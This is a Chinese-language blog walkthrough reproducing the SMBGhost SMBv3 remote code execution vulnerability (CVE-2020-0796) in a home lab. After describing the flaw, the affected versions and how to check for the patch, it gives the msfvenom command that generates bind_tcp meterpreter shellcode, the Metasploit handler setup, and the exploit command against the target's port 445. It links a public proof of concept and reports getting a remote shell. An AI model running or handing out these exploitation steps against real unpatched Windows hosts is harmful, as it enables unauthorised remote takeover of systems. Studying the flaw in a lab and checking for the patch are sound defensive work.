微软SMBv3 Client/Server远程代码执行漏洞CVE-2020-0796复现

容我先吐槽下
没错又是她——smb,windows的wodow。复现了我一天,踩了各种坑。

一、漏洞描述

漏洞公告显示,SMB 3.1.1协议中处理压缩消息时,对其中数据没有经过安全检查,直接使用会引发内存破坏漏洞,可能被攻击者利用远程执行任意代码。攻击者利用该漏洞无须权限即可实现远程代码执行,受黑客攻击的目标系统只需开机在线即可能被入侵。

二、受影响版本

Windows 10 Version 1903 for 32-bit Systems
Windows 10 Version 1903 for ARM64-based Systems
Windows 10 Version 1903 for x64-based Systems
Windows 10 Version 1909 for 32-bit Systems
Windows 10 Version 1909 for ARM64-based Systems
Windows 10 Version 1909 for x64-based Systems
Windows Server, version 1903 (Server Core installation)
Windows Server, version 1909 (Server Core installation)

三、补丁检测和漏洞检测

这是官方补丁
https://www.catalog.update.microsoft.com/Search.aspx?q=KB4551762
如果没有安装该补丁可能存在风险

systeminfo | findstr KB4551762

验证你的windows 10是否真的存在这个代码执行漏洞

Python检测脚本
https://github.com/ollypwn/SMBGhost/blob/master/scanner.py
Nmap检测脚本(nse脚本)
https://github.com/cyberstruggle/DeltaGroup/blob/master/CVE-2020-0796/CVE-2020-0796.nse

四、漏洞利用

远程代码执行-POC
https://github.com/chompie1337/SMBGhost_RCE_PoC
1、首先我们先把环境配好

靶机:windows 10 x64 1903
IP:192.168.190.134

攻击机:Kali
IP:192.168.190.130

2、什么是bind_tcp和reverse_tcp

reverse_tcp:攻击机设置一个端口(LPORT)和IP(LHOST),Payload在测试机执行连接攻击机IP的端口,这时如果在攻击机监听该端口会发现测试机已经连接。

bind_tcp:攻击机设置一个端口(LPORT),Payload在测试机执行打开该端口,以便攻击机可以接入。

采用reverse的方法一般较为安全,因为是在测试机连接攻击机,所以一般不会被防火墙发现;而bind在测试机打开端口时很容易被安全软件和防火墙发现。
但是经我反复测试发现bind_tcp能够getshell,绝对的

3、生成自己的shellcode替换 exploit.py中的 USER_PAYLOAD

msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=4444 -b '\x00' -i 1 -f python

微软SMBv3 Client/Server远程代码执行漏洞CVE-2020-0796复现
4、美少妇监听(msf)

msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
set lport 4444
set rhost 192.168.190.134
run

4、执行exp
执行前先把防火墙和安全软件关掉

python3 exploit.py -ip 192.168.190.134 -p 445

注意这里要运行python3的环境,如果运行python2极有可能就直接蓝屏了,坑。还有人说把win 10虚拟机内存给大点,否则会导致蓝屏。
微软SMBv3 Client/Server远程代码执行漏洞CVE-2020-0796复现
回到mfs发现已经getshell

微软SMBv3 Client/Server远程代码执行漏洞CVE-2020-0796复现
如果第一次没有报错但是没有getshell就多试试吧,多多排排雷。

上一篇:CVE-2020-0796漏洞复现


下一篇:JAVA实现二进制,十六进制输出